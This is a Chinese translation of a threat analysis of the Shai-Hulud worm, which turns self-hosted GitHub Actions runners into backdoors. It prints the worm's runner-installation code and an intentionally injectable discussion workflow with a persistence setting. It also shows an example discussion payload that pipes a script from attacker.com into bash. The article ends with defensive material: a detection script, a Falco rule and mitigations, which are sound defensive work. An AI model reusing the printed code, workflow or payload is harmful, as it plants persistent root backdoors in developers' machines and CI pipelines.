从Shai-Hulud蠕虫看自托管GitHubActionsrunner的后门风险

admin 2026-01-15 14:46:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析Shai-Hulud蠕虫利用自托管GitHubActionsrunner构建后门的机制。攻击者通过注册恶意runner并利用命令注入漏洞执行任意代码,绕过网络检测。文章提供了检测恶意runner的脚本与规则,建议禁用公共仓库的自托管runner、采用临时环境并限制网络访问,以有效缓解此类攻击风险。 综合评分: 100 文章分类: 恶意软件,供应链安全,云安全,威胁情报,漏洞分析


cover_image

从Shai-Hulud蠕虫看自托管GitHub Actions runner的后门风险

Dubito

云原生安全指北

2026年1月15日 08:35 江苏

注:本文翻译自 Sysdig 的文章《How threat actors are using self-hosted GitHub Actions runners as backdoors》[1],可点击文末“阅读原文”按钮查看英文原文。

全文如下:

一、引言

现代软件开发依赖自动化来实现速度和规模,而 GitHub Actions 是驱动跨 CI/CD 流水线自动化的主要引擎之一。利用 GitHub Actions,代码可以被编译、测试得以运行、应用程序能够部署——这一切都响应代码推送或PR请求而自动发生,无需人工干预。

在这些工作流的幕后,执行任务的是 runner。它们是由 GitHub 托管的执行机器,也可以由用户自行提供。虽然 GitHub 提供托管的基础设施,其官方 runner 生命周期短且受严格控制,但 自托管(self-hosted)runner 允许组织在其内部服务器或云实例上运行工作流。这带来了更大的控制权和对私有资源的访问能力,但代价是用隔离性换取了灵活性和深度集成。然而,速度往往伴随着安全挑战。

自托管的 GitHub Actions runner 可以被武器化,转变为通过完全可信的信道通信的持久后门。因为所有流量都流向 github.com,传统的网络防御对此类威胁基本是盲区。2025年11月24日,Shai-Hulud 蠕虫大规模地演示了这项技术,它在受感染的机器上安装恶意 runner,并利用故意留有漏洞的工作流作为命令与控制通道。

以 Shai-Hulud 攻击活动[2] 为案例,我们来探讨攻击者如何滥用 GitHub 的自托管 runner 基础设施来建立持久的远程访问。我们也将分析攻击机制、检测策略,并为安全团队提供监控建议。

二、为何自托管 runner 是诱人的目标

自托管 runner 允许组织托管自己的机器来执行 GitHub Actions 工作流。与 GitHub 托管的 runner 不同,自托管 runner 让团队能够完全控制 CI/CD 操作期间使用的操作系统、安装的软件和硬件规格。这种灵活性,加上目前 GitHub Actions 对自托管 runner 免费使用的事实,共同推动了其广泛采用。(尽管2026年的定价变更已经宣布[3],但根据社区反馈,自托管 runner 的费用已被推迟征收。)

从攻击者的视角看,自托管 runner 之所以有价值,有几个原因:它们通常能访问内部网络,可能缓存了凭据或 secret,并且设计上就会执行任意代码。其注册过程也特意设计为低门槛。在选择了目标操作系统和架构后,GitHub 会提供一系列命令来下载和配置 runner 应用程序:

# 创建文件夹
mkdir actions-runner && cd actions-runner

# 下载最新的 runner 包
curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz

# 解压安装程序
tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz

配置是最关键的一步。通过使用一个唯一的注册令牌运行 ./config.sh,机器便与 GitHub 建立了长期连接:

# 创建 runner 并开始配置
./config.sh --url https://github.com/<owner>/<repository> --token <TOKEN>

#&nbsp;开始监听任务
./run.sh

注册令牌可以从仓库的 Settings 菜单手动获取,也可以通过 GitHub API 以编程方式获取:

  • • 对于仓库级别的 runner:/repos/{owner}/{repo}/actions/runners/registration-token
  • • 对于组织级别的 runner:/orgs/{org}/actions/runners/registration-token

生成这些令牌需要管理员级别的权限。

三、案例分析:Shai-Hulud 后门

Shai-Hulud 蠕虫[4] 为这种攻击模式在现实中提供了一个清晰的例子。它利用自托管的 GitHub Actions runner 作为后门。在通过植入木马的 NPM 包攻陷开发者机器后,Shai-Hulud 通过安装恶意的 GitHub runner 来建立持久性访问。该攻击分为四个不同的阶段。

3.1 第一阶段:创建仓库

当蠕虫发现一个拥有足够权限的有效 GitHub 令牌时,它会立即创建一个新的公共仓库。仓库名称是一个随机的 18 位字符串,但其描述包含一个固定标记:Sha1-Hulud: The Second Coming. 关键的是,攻击者启用了讨论功能,这随后将成为命令与控制通道:

async&nbsp;["createRepo"](repo_name, repo_description =&nbsp;"Sha1-Hulud: The Second Coming.", repo_is_private =&nbsp;false) {
&nbsp; &nbsp; if&nbsp;(!repo_name) {
&nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; }
&nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; let&nbsp;_0xc8701c = (await&nbsp;this.octokit.rest.repos.createForAuthenticatedUser({
&nbsp; &nbsp; &nbsp; &nbsp; 'name': repo_name,
&nbsp; &nbsp; &nbsp; &nbsp; 'description': repo_description,
&nbsp; &nbsp; &nbsp; &nbsp; 'private': repo_is_private,
&nbsp; &nbsp; &nbsp; &nbsp; 'auto_init':&nbsp;false,
&nbsp; &nbsp; &nbsp; &nbsp; 'has_issues':&nbsp;false,
&nbsp; &nbsp; &nbsp; &nbsp; 'has_discussions':&nbsp;true,
&nbsp; &nbsp; &nbsp; &nbsp; 'has_projects':&nbsp;false,
&nbsp; &nbsp; &nbsp; &nbsp; 'has_wiki':&nbsp;false
&nbsp; &nbsp; &nbsp; })).data;
...

这段代码创建了一个极简仓库,只启用了讨论功能。其他所有功能都被禁用,以降低可见性和减少干扰。

3.2 第二阶段:获取 runner 注册令牌

仓库创建完成后,恶意软件便通过 GitHub API 请求一个 runner 注册令牌:

&nbsp; &nbsp; &nbsp;this.gitRepo&nbsp;= repo_owner +&nbsp;'/'&nbsp;+ repo_name;
&nbsp; &nbsp; await&nbsp;new&nbsp;Promise(_0x29dfa6&nbsp;=>&nbsp;setTimeout(_0x29dfa6,&nbsp;0xbb8));
&nbsp; &nbsp; if&nbsp;(await&nbsp;this.checkWorkflowScope()) {
&nbsp; &nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; let&nbsp;_0x449178 =&nbsp;await&nbsp;this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'owner': repo_owner,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'repo': repo_name
&nbsp; &nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(_0x449178.status&nbsp;==&nbsp;0xc9) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; let&nbsp;_0x1489ec = _0x449178.data.token;
...

此令牌允许任何机器将自己注册为攻击者控制仓库的工作流 runner,从而有效地在受害机器与 GitHub 基础设施之间,建立了一条直接的、由受害者机器主动发起的链接。

3.3 第三阶段:安装并执行 runner

恶意软件下载官方的 GitHub Actions runner 二进制文件,将其安装在一个隐藏目录(~/.dev-env)中,并使用一个独特的名称 SHA1HULUD 进行配置:

if&nbsp;(a0_0x5a88b3.platform() ===&nbsp;'linux') {
&nbsp; &nbsp; await&nbsp;Bun.$`mkdir -p $HOME/.dev-env/`;
&nbsp; &nbsp; await&nbsp;Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir&nbsp;+&nbsp;"/.dev-env").quiet();
&nbsp; &nbsp; await&nbsp;Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir&nbsp;+&nbsp;"/.dev-env");
&nbsp; &nbsp; await&nbsp;Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39}&nbsp;--unattended --token&nbsp;${_0x1489ec}&nbsp;--name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir&nbsp;+&nbsp;"/.dev-env").quiet();
&nbsp; &nbsp; await&nbsp;Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir&nbsp;+&nbsp;"/.dev-env");
&nbsp; &nbsp; Bun.spawn(["bash",&nbsp;'-c',&nbsp;"cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}

其中两个实现细节尤为重要:

  • • RUNNER_ALLOW_RUNASROOT=1:默认情况下,作为额外的安全层,GitHub runner 以无特权的非 root 进程执行。此处攻击者明确覆盖了此项保护,确保通过后门执行的任何命令都将拥有 root 权限。
  • • nohup ... &:通过使用 nohup 并将进程置于后台,即使初始的恶意脚本终止,runner 也会持续运行。

3.4 第四阶段:植入含漏洞的工作流

最后一个组成部分是一个工作流文件,它被上传到仓库的 .github/workflows/discussion.yaml 路径下。该工作流文件被故意设计成容易受到命令注入攻击:

name:&nbsp;Discussion&nbsp;Create
on:
&nbsp; discussion:
jobs:
&nbsp; process:
&nbsp; &nbsp; env:
&nbsp; &nbsp; &nbsp; RUNNER_TRACKING_ID:&nbsp;0
&nbsp; &nbsp; runs-on:&nbsp;self-hosted
&nbsp; &nbsp; steps:
&nbsp; &nbsp; &nbsp; -&nbsp;name:&nbsp;Handle&nbsp;Discussion
&nbsp; &nbsp; &nbsp; &nbsp; run:&nbsp;echo&nbsp;${{&nbsp;github.event.discussion.body&nbsp;}}

两个特性使得这个工作流尤其危险:

通过表达式插值实现命令注入:该工作流直接在 run 命令中使用 ${{ github.event.discussion.body }} 作为参数。因为 GitHub Actions 会插值这个表达式,在执行前将讨论正文的文本原样替换到 shell 脚本中,攻击者可以轻易地“突破”预设的命令。通过在讨论正文中包含反引号、分号或管道符等 shell 元字符,攻击者就能脱离 echo 命令的限制,直接在宿主机上执行任意代码。

通过 RUNNER_TRACKING_ID 实现进程持久化:当一个 GitHub Action 任务完成后,runner 通常会终止作业期间启动的所有孤儿进程。通过将 RUNNER_TRACKING_ID 设置为 0(或除作业实际 ID 外的任何值),攻击者绕过了这个清理机制,使得派生的进程在工作流结束后仍然保持运行。这项技术最早由 Praetorian 在 2022 年公开披露[5],展示了自托管 runner 如何能被转变为持久的后门。

3.5 通过后门执行命令

基础设施就位后,攻击者可以通过向仓库的讨论区发帖,在受害者的机器上执行任意命令。例如,发布以下内容作为讨论正文:

""&nbsp;&& curl -s&nbsp;http://attacker.com/shell.sh | bash

将导致 runner 执行:

echo&nbsp;""&nbsp;&& curl -s&nbsp;http://attacker.com/shell.sh | bash

空白的 echo 命令成功完成,然后 shell 会继续下载并执行攻击者的载荷。在下面的截图中,我们展示了一个更简单的场景:执行 echo 命令,接着执行 whoami 命令,以及一个进程列表命令。

这就在受害者的系统上创建了一个功能完备的后门。只要攻击者保持对这个公共仓库的访问权限,他们就可以通过发布一条讨论评论,轻易地在被攻陷的机器上执行代码。由于所有流量都流向 github.com,这个后门可以混入正常的开发活动中。

四、更广泛的风险模式

4.1 其他存在漏洞的触发事件

Shai-Hulud 使用的讨论事件并非此类攻击的唯一向量。核心风险在于工作流如何在持久的 runner 上处理不受信任的外部输入。任何允许不受信任用户在自托管 runner 上触发工作流的事件,都可能被武器化用于后门注入:

  • • pull_request_target:此事件在基础仓库的上下文中运行,可能授予对 secrets 和有特权的 GITHUB_TOKEN 的访问权限。如果使用此触发器的工作流从一个恶意的PR请求中检出(check out)代码并在自托管 runner 上执行,攻击者将立即获得高权限访问。
  • • issue_comment:任何人都可以评论公共仓库,这使得此事件天然成为远程命令注入的向量。未对评论文本进行适当清理的工作流易受攻击。
  • • 被忽视的活动类型:正如我们先前关于不安全的 GitHub Actions 的研究[6]中所记录的,未能为工作流事件指定细粒度的 types 会留下危险的缺口。攻击者可以通过一些不太引人注意的操作来触发存在漏洞的工作流,例如给议题贴标签或将讨论 标记为未解答,从而降低被检测到的几率。

4.2 安装持久化服务

在观测到的 Shai-Hulud 攻击活动中,其后门相对脆弱,因为它与 runner 进程的活跃生命周期绑定。如果宿主机重启,runner 进程及任何由它派生的进程都会终止。

然而,GitHub 提供了原生工具将 runner 配置为系统服务[7]。通过执行 ./svc.sh 脚本,已获得初始代码执行权限的攻击者可以确保:

  1. 1. 后门在重启后幸存:runner 应用程序作为系统启动序列的一部分自动启动。
  2. 2. 检测最小化:受侵害的 runner 作为标准的系统服务运行(通过 systemd),而非表现为可疑的交互式进程,从而将攻击者的存在隐藏在合法的基础设施中。

通过从临时的工作流执行转向持久的系统服务,攻击者有效地将一次性漏洞利用转变为永久后门。

五、如何查找恶意 runner

组织应积极监控其 GitHub runner 清单,以发现未经授权的注册。以下脚本可获取为仓库或组织配置的所有 runner:

#!/bin/bash
#
# Script to list all GitHub Actions runners with their name and status.
#
# Usage:
#&nbsp;&nbsp; &nbsp; export&nbsp;GITHUB_TOKEN=your_token_here
#&nbsp;&nbsp; &nbsp; ./list_runners.sh --owner OWNER [--repo REPO]

set -e

OWNER=""
REPO=""

while [[ $# -gt 0 ]]; do
&nbsp; &nbsp; case $1 in
&nbsp; &nbsp; &nbsp; &nbsp; --owner)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OWNER="$2"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shift 2
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; &nbsp; &nbsp; --repo)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; REPO="$2"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shift 2
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; &nbsp; &nbsp; --token)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GITHUB_TOKEN="$2"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shift 2
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; &nbsp; &nbsp; -h|--help)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo "Usage: $0 --owner OWNER [--repo REPO] [--token TOKEN]"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; &nbsp; &nbsp; *)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo "Unknown option: $1"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit 1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;
&nbsp; &nbsp; esac
done

if [ -z "$OWNER" ]; then
&nbsp; &nbsp; echo "Error: --owner is required" >&2
&nbsp; &nbsp; exit 1
fi

if [ -z "$GITHUB_TOKEN" ]; then
&nbsp; &nbsp; echo "Error: GitHub token is required." >&2
&nbsp; &nbsp; exit 1
fi

if [ -n "$REPO" ]; then
&nbsp; &nbsp; API_URL="https://api.github.com/repos/${OWNER}/${REPO}/actions/runners"
&nbsp; &nbsp; SCOPE="${OWNER}/${REPO}"
else
&nbsp; &nbsp; API_URL="https://api.github.com/orgs/${OWNER}/actions/runners"
&nbsp; &nbsp; SCOPE="organization: ${OWNER}"
fi

RESPONSE=$(curl -s -H "Authorization: token ${GITHUB_TOKEN}" \
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-H "Accept: application/vnd.github.v3+json" \
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"${API_URL}?per_page=100")

if echo "$RESPONSE" | jq -e '.message' > /dev/null 2>&1; then
&nbsp; &nbsp; ERROR_MSG=$(echo "$RESPONSE" | jq -r '.message')
&nbsp; &nbsp; echo "Error: $ERROR_MSG" >&2
&nbsp; &nbsp; exit 1
fi

RUNNER_COUNT=$(echo "$RESPONSE" | jq '.runners | length')

if [ "$RUNNER_COUNT" -eq 0 ]; then
&nbsp; &nbsp; echo "No runners found for $SCOPE"
&nbsp; &nbsp; exit 0
fi

printf "%-10s %-30s %-15s %-10s\n" "ID" "Name" "Status" "Busy"
printf "%-10s %-30s %-15s %-10s\n" "----------" "------------------------------" "---------------" "----------"

echo "$RESPONSE" | jq -r '.runners[] |
&nbsp; &nbsp; [.id, (.name | if length > 30 then .[0:27] + "..." else . end), .status, (if .busy then "Yes" else "No" end)] | @tsv' | \
while IFS=$'\t' read -r id name status busy; do
&nbsp; &nbsp; printf "%-10s %-30s %-15s %-10s\n" "$id" "$name" "$status" "$busy"
done

echo ""
echo "Total runners: $RUNNER_COUNT"

此外,组织应查询 GitHub 审计日志事件,特别是 repo.register_self_hosted_runner 事件,以识别过去可能发生的任何未经授权的 runner 注册。Runner 信息也可以在仓库的 Settings 面板中,于 Actions 部分的 Runners 页面下直接查看。

执行上述脚本可能输出类似以下的结果:

不过,关于已注册 runner 的信息也可以直接从您的仓库中获取。为此,请访问您的 Settings 面板,然后在 Action 部分打开 Runners 页面。

六、检测恶意 runner

RUNNER_TRACKING_ID=0 环境变量是恶意意图的可靠指标,因为除了逃避 runner 的进程清理机制外,它没有任何合法的用途。

Sysdig 提供了 Persistence Across Github Runner Executions Detected(检测到跨Github Runner执行的持久化操作) 规则,作为 Sysdig Runtime Notable Events(Sysdig 运行时显著事件) 策略的一部分。当进程试图在 GitHub Actions 作业执行的正常生命周期之后继续存留时,此规则会触发。

Falco 用户也可以使用类似的规则:

-&nbsp;macro:&nbsp;spawned_process
&nbsp; condition:&nbsp;(evt.type&nbsp;in&nbsp;(execve,&nbsp;execveat)&nbsp;and&nbsp;evt.dir=<&nbsp;and&nbsp;evt.arg.res=0)

-&nbsp;rule:&nbsp;Persistence&nbsp;Across&nbsp;Github&nbsp;Runner&nbsp;Executions&nbsp;Detected
&nbsp; desc:&nbsp;This&nbsp;rule&nbsp;detects&nbsp;the&nbsp;usage&nbsp;of&nbsp;the&nbsp;RUNNER_TRACKING_ID&nbsp;environment&nbsp;variable&nbsp;set&nbsp;to&nbsp;0&nbsp;or&nbsp;empty&nbsp;string.&nbsp;When&nbsp;this&nbsp;variable&nbsp;is&nbsp;set,&nbsp;the&nbsp;cleanup&nbsp;job&nbsp;does&nbsp;not&nbsp;terminate&nbsp;the&nbsp;associated&nbsp;process.&nbsp;Threat&nbsp;actors&nbsp;can&nbsp;exploit&nbsp;this&nbsp;to&nbsp;maintain&nbsp;persistence&nbsp;across&nbsp;workflow&nbsp;executions.
&nbsp; condition:&nbsp;spawned_process&nbsp;and&nbsp;(proc.env&nbsp;contains&nbsp;"RUNNER_TRACKING_ID=0"&nbsp;or&nbsp;proc.env&nbsp;contains&nbsp;"RUNNER_TRACKING_ID= ")&nbsp;and&nbsp;not&nbsp;proc.aenv[1]&nbsp;contains&nbsp;"RUNNER_TRACKING_ID="
&nbsp; output:&nbsp;Persistence&nbsp;attempt&nbsp;via&nbsp;GitHub&nbsp;Runner&nbsp;detected.&nbsp;Process&nbsp;%proc.name&nbsp;(PID:&nbsp;%proc.pid)&nbsp;spawned&nbsp;in&nbsp;container&nbsp;%container.name&nbsp;with&nbsp;RUNNER_TRACKING_ID=%proc.env["RUNNER_TRACKING_ID"].&nbsp;(user=%user.name&nbsp;image=%container.image.repository&nbsp;cmdline=%proc.cmdline)

组织还应监控:

  • • 从隐藏目录(例如 ~/.dev-env)执行的 runner 进程。
  • • 使用可疑名称(例如 SHA1HULUD)配置的 runner。
  • • runner 进程向未知仓库发出的意外出站连接。
  • • 工作流文件中包含在 run 命令中未经清理的表达式插值。

七、缓解建议

GitHub 官方的安全加固文档[8]明确指出了风险:“GitHub 的自托管 runner 无法保证在临时的、干净的虚拟机中运行,并可能被工作流中不受信任的代码持久化地攻陷。”

基于 GitHub 的指导,组织应实施以下控制措施:

  • • 切勿在公共仓库中使用自托管 runner。 任何能够fork仓库并开启PR请求的人,都有可能在你的 runner 上执行代码。
  • • 使用临时的 runner。 每次作业执行后销毁 runner 环境,以防止持久化。GitHub 指出这种方法“可能不如预期有效,因为无法保证自托管 runner 只运行一个作业”,但这仍然能显著提高攻击门槛。
  • • 将 runner 组织到具有仓库限制的组中。 当 runner 在组织或企业级别定义时,GitHub 可以将来自多个仓库的工作流调度到同一个 runner 上。使用 runner 组[9]来限制哪些仓库可以访问哪些 runner。
  • • 最小化 runner 机器上的敏感数据。 确保 secrets、SSH 密钥和 API 令牌不存储在 runner 基础设施上。假设任何能够调用工作流的用户都具有对 runner 环境的访问权限。
  • • 限制 runner 的网络访问。 限制 runner 可以访问的内部服务。避免让 runner 访问云元数据服务、生产数据库或其他敏感基础设施。

八、结论

自托管 runner 代表了一个未被充分重视的攻击面。从其设计上看,它们会执行来自工作流的任意代码,与 GitHub 保持持久连接,并且通常在内部基础设施上以高权限运行。Shai-Hulud 攻击活动展示了攻击者如何能够快速、大规模地利用这些特性来建立后门,这些后门可以完美地融入合法的 CI/CD 流量中。

使用自托管 runner 的组织应定期审计其 runner 清单,将 runner 的使用限制在受信任的仓库,并对诸如 RUNNER_TRACKING_ID 篡改等持久化技术实施运行时检测。鉴于被攻陷的 runner 可以让攻击者获得对构建基础设施的特权访问,甚至可能触及生产环境的 secrets 和部署流水线,将 runner 安全视为优先事项至关重要。

引用链接

[1] 《How threat actors are using self-hosted GitHub Actions runners as backdoors》: https://www.sysdig.com/blog/how-threat-actors-are-using-self-hosted-github-actions-runners-as-backdoors [2] Shai-Hulud 攻击活动: https://www.sysdig.com/blog/return-of-the-shai-hulud-worm-affects-over-25-000-github-repositories [3] 2026年的定价变更已经宣布: https://resources.github.com/actions/2026-pricing-changes-for-github-actions/ [4] Shai-Hulud 蠕虫: https://www.sysdig.com/blog/shai-hulud-the-novel-self-replicating-worm-infecting-hundreds-of-npm-packages [5] Praetorian 在 2022 年公开披露: https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/ [6] 先前关于不安全的 GitHub Actions 的研究: https://www.sysdig.com/blog/insecure-github-actions-found-in-mitre-splunk-and-other-open-source-repositories [7] 原生工具将 runner 配置为系统服务: https://docs.github.com/en/actions/how-tos/manage-runners/self-hosted-runners/configure-the-application [8] 安全加固文档: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions [9] runner 组: https://docs.github.com/en/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups

交流群


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:云原生安全指北 Dubito《从Shai-Hulud蠕虫看自托管GitHub Actions runner的后门风险》

评论:0   参与:  0